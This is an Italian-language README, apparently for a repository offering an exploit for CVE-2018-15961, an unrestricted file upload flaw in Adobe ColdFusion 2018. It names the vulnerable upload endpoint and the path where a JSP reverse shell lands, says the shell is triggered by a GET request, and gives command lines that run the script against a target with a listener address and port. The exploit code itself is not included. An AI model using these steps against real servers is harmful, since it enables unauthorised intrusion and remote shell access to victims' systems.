
Exploit per CVE-2018-15961, una vulnerabilità di upload di file senza restrizioni in Adobe ColdFusion 2018 che porta a RCE.
Questo repository contiene il mio codice exploit per la vulnerabilità RCE in Adobe ColdFusion 2018.
L'exploit invia una richiesta POST contenente una reverse shell JSP a /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. Se ha successo, carica la shell in /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. Il codice attiva quindi la shell inviando una semplice richiesta GET.
# Utilizzo base
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# Con nome file personalizzato per la shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp